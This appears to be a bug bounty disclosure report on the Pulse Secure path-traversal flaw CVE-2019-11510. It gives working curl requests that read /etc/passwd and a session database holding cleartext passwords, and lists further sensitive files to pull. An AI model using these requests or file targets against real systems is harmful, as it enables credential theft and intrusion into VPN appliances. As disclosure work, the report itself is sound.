Pulse Secure File disclosure, clear text and potential RCE

How it was found

Summary: Pulse Secure has two main vulnerabilities that allow file disclosure and post auth RCE Description: CVE-2019-11510 is a file disclosure due to some normalization issues in pulse secure. I was able to reproduce this by grabbing in the etc/passswd. https://$hax/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/#

Though the impact of that is very limited, medium to high sec at best. From here we can grab a specific file.

The file /data/runtime/mtmp/lmdb/dataa/data.mdb contains clear context passwords and usernames, when a user logs in from here we can then access the Pulse secure instance. I stopped here due to not wanting to break the rules of engagements but from here I would log in then exploit a Post auth exploit.

Here's a list of files that an attacker would instantly hit /data/runtime/mtmp/system /data/runtime/mtmp/lmdb/dataa/data.mdb /data/runtime/mtmp/lmdb/dataa/lock.mdb /data/runtime/mtmp/lmdb/randomVal/data.mdb /data/runtime/mtmp/lmdb/randomVal/lock.mdb

Impact

Critical

Step-by-step Reproduction Instructions

We can only do this using due to browsers messing up the exploit

curl --path-as-is -k -D- https://████████/dana-na/../dana/html5acc/guacamole/../../../../../../data/runtime/mtmp/lmdb/dataa/data.mdb?/dana/html5acc/guacamole/#

curl --path-as-is -k -D- https://████████/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/#

curl --path-as-is -k -D- https://███/dana-na/../dana/html5acc/guacamole/../../../../../../data/runtime/mtmp/lmdb/dataa/data.mdb?/dana/html5acc/guacamole/#

Product, Version, and Configuration (If applicable)

Pulse Secure

Suggested Mitigation/Remediation Actions

Patch pulse immediately

Impact

An attacker will be able to download internal files and specifically target a local file which stores clear text passwords when a user login. This also an attacker to access highly sensitive internal areas and even can perform command execution